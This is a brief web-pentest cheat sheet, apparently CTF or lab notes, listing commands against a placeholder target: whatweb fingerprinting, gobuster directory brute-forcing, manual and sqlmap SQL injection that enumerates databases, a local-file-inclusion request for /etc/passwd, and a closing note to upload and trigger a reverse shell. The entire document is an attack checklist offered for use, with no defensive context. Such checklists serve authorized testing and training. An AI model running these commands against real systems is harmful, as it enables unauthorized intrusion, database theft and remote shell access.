

# Check for web tech

whatweb http://<IP>

# Bruteforce web directories

gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt

# SQLi manual test

curl "http://<IP>/page.php?id=1"

# SQLi automated

sqlmap -u "http://<IP>/page.php?id=1" --batch --dbs

# LFI test

curl "http://<IP>/page.php?file=../../../../etc/passwd"

# Upload reverse shell manually, trigger in browser